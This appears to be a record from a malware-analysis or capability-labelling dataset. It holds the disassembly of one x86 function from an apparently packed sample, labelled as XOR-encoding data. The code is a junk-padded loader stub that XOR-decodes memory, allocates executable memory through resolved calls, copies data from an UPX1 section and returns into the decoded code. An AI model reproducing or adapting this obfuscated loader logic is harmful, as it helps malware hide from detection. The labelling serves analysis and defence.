Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x36a0003f
sub ebx, 0xfc03b83d
and ebx, edi
popal
and ebx, ebx
mov ebx, edi
add ebx, 0x413b3ba0
mov esi, 0
mov edx, ecx
not eax
sub eax, ebx
mov edi, edx
add eax, 0x4e2bd1e3
sub ebx, eax
not eax
mov ecx, edi
or eax, eax
inc ebx
sub eax, ebx
inc esi
mov ebx, 0xb6d247a9
sub eax, ebx
add ebx, eax
cmp esi, 0x1009f94
jne 0xa789ca
not eax
mov eax, ebx
not ebx
or ebx, edi
mov ebx, 0xa78796
not edi
mov edi, 0xf9c7391
sub edx, edi
mov ecx, 0xa7898a
sub esi, 0xc9d63f4a
mov edx, esi
mov eax, dword [ebx]
and edx, edx
add edi, esi
and eax, 0xff
mov edx, edi
not edi
and edx, edx
xor dword [ecx], eax
add edx, edi
dec esi
inc ecx
not edi
dec edx
add ebx, 1
add edx, 0x6d588c9a
inc edx
cmp ecx, entry0
jl 0xa78a1c
sub edx, 1
dec edx
sub edx, 0xb865885c
and edi, edx
mov edi, esi
mov edi, ecx
dec ebx
mov edx, 0xa7898e
inc ebx
mov esi, edi
mov edx, dword [edx]
sub ecx, 0x7ef0bb4d
dec ebx
mov edx, dword [edx]
or ecx, ebx
dec esi
or ebx, ecx
push edx
add ecx, 0x7422a49a
inc ecx
mov edx, 0xa7898a
or ebx, edi
dec ebx
add ecx, 0xe4428de0
mov edx, dword [edx]
and edi, ebx
or esi, ecx
mov edx, dword [edx]
sub ebx, 0xfd0fec9a
mov ebx, esi
push 0xa78992
and edi, edi
add edi, edi
sub esi, 0xeecd3782
call edx
sub ebx, 1
and edi, ecx
pop edx
add ecx, ebx
mov ecx, 0xef2d9b95
sub esp, 4
mov dword [esp], 0xa7899f
add edi, edi
not ebx
add esi, ecx
push eax
mov edi, 0x76addef7
and ebx, ebx
call edx
mov ebx, edi
not ecx
add ebx, ecx
push 0x40
mov esi, 0xab67de57
sub ecx, 1
mov esi, edi
push 0x3000
mov ecx, edi
sub ebx, esi
not ecx
push 0x200009a6
mov ebx, ecx
sub edi, 0xecec7d20
sub ecx, 0x13732588
push 0
add esi, esi
sub esi, 0x3b42c485
call eax
mov ecx, 0xb03eb32
sub ecx, esi
add eax, 0x2000091a
inc ebx
or ecx, esi
add esi, edi
mov edx, 0xb89798a3
or edi, edi
not edi
mov dword [eax], edx
mov edi, ecx
sub edi, ecx
mov edx, dword [eax]
inc edi
mov ebx, edi
and ecx, ebx
cmp edx, 0xb89798a3
je 0xa78b59
mov ebx, 0
mov byte [ebx], dl
add ebx, ecx
not ebx
mov ebx, 0xae91db21
or esi, ecx
mov ebx, edi
mov esi, ebx
mov edi, 0xa28d949
and edi, edi
mov esi, section.UPX1
sub ebx, edi
and ebx, ebx
mov edx, 0xa78795
mov edi, 0x71687b08
not edi
mov eax, 0
not ebx
add edi, 1
mov ecx, 0xa78796
dec edi
and ebx, edi
sub edi, 0xfc4f1d90
lea ecx, [ecx + eax]
add edi, 0xd1e6a921
add edi, ebx
mov ecx, dword [ecx]
mov edi, 0xd9a9265f
and edi, ebx
mov ebx, 0x8041a3d7
and ecx, 0xff
not edi
sub ebx, 0x27600096
inc eax
mov ebx, 0x4efa07b4
inc ebx
cmp eax, 0x1f4
jne 0xa78bda
mov eax, 0
not edi
mov edi, ebx
add ebx, edi
or edi, edi
add ebx, edi
xor dword [esi], ecx
sub edi, 0x1e115313
sub edi, ebx
add edi, 1
add esi, 2
inc edi
sub edi, 0x9a7440b9
not ebx
cmp esi, edx
jl 0xa78b91
mov ebx, edi
sub ebx, edi
add ebx, 0xaf549b5d
sub edi, 0xcda22c12
add edi, 1
mov esi, section.UPX1
add edi, 0x81f07273
sub edx, edi
mov eax, section.UPX1
and edx, edi
mov edi, edx
add edi, 0xd0d2fd7c
mov ebx, 0xa78795
add edi, edx
mov edi, edx
mov ecx, 0
or edx, edi
add edi, 0x3c080cda
mov cl, byte [eax]
inc edx
dec edi
mov edi, 0x365d48fe
mov byte [esi], cl
not edx
inc edi
add edx, 1
inc esi
or edx, edx
add edi, edx
mov edi, 0xe6056df2
add eax, 2
inc edi
or edi, edx
cmp eax, ebx
jle 0xa78c53
add edx, edi
and edx, edi
mov edx, edi
mov edi, ebx
sub ebx, 0xe50b58e6
or ebx, ebx
push 0x8dc6a0
add ebx, ebx
dec ebx
ret